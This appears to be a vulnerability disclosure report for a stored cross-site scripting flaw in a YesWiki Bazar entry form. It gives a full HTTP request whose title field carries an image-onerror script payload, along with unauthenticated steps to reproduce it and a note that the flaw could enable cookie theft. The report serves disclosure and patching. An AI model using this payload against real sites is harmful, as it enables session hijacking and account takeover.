Description

Stored XSS when Add a new entry for Forum

Proof of Concept

// PoC.req
POST /doryphore/?BazaR&vue=saisir&action=saisir_fiche&id=2 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------7765734316614094952804072061
Content-Length: 3085
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/doryphore/?BazaR&vue=saisir&action=saisir_fiche&id=2
Cookie: YesWiki-doryphore=ogn84g0iurhnj3o91444en8r1s
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

-----------------------------7765734316614094952804072061
Content-Disposition: form-data; name="bf_titre"

"><iMg SrC="x" oNeRRor="alert(1);">
-----------------------------7765734316614094952804072061
Content-Disposition: form-data; name="file"; filename=""
Content-Type: application/octet-stream


-----------------------------7765734316614094952804072061
Content-Disposition: form-data; name="bf_description"

test
-----------------------------7765734316614094952804072061
Content-Disposition: form-data; name="bf_date_debut_evenement"

2021-12-15
-----------------------------7765734316614094952804072061
Content-Disposition: form-data; name="bf_date_debut_evenement_allday"

1
-----------------------------7765734316614094952804072061
Content-Disposition: form-data; name="bf_date_debut_evenement_hour"

00
-----------------------------7765734316614094952804072061
Content-Disposition: form-data; name="bf_date_debut_evenement_minutes"

00
-----------------------------7765734316614094952804072061
Content-Disposition: form-data; name="bf_date_fin_evenement"

2021-12-15
-----------------------------7765734316614094952804072061
Content-Disposition: form-data; name="bf_date_fin_evenement_allday"

1
-----------------------------7765734316614094952804072061
Content-Disposition: form-data; name="bf_date_fin_evenement_hour"

00
-----------------------------7765734316614094952804072061
Content-Disposition: form-data; name="bf_date_fin_evenement_minutes"

00
-----------------------------7765734316614094952804072061
Content-Disposition: form-data; name="bf_site_internet"


-----------------------------7765734316614094952804072061
Content-Disposition: form-data; name="imagebf_image"; filename=""
Content-Type: application/octet-stream


-----------------------------7765734316614094952804072061
Content-Disposition: form-data; name="data-imagebf_image"


-----------------------------7765734316614094952804072061
Content-Disposition: form-data; name="filename-imagebf_image"


-----------------------------7765734316614094952804072061
Content-Disposition: form-data; name="fichierfichier"; filename=""
Content-Type: application/octet-stream


-----------------------------7765734316614094952804072061
Content-Disposition: form-data; name="bf_adresse"


-----------------------------7765734316614094952804072061
Content-Disposition: form-data; name="bf_code_postal"


-----------------------------7765734316614094952804072061
Content-Disposition: form-data; name="bf_ville"


-----------------------------7765734316614094952804072061
Content-Disposition: form-data; name="bf_latitude"


-----------------------------7765734316614094952804072061
Content-Disposition: form-data; name="bf_longitude"


-----------------------------7765734316614094952804072061
Content-Disposition: form-data; name="antispam"

1
-----------------------------7765734316614094952804072061
Content-Disposition: form-data; name="id_typeannonce"

2
-----------------------------7765734316614094952804072061--

Step to Reproduce

Without login, goto Setting choose to Database

At tab Add, choose to Add a new entry

At field 'Event name' , 'Address' and 'City' input with payload : "><iMg SrC="x" oNeRRor="alert(1);">

Video PoC : PoC

Impact

This vulnerability has the potential to steal a user's cookie and gain unauthorized access to that user's account through the stolen cookie.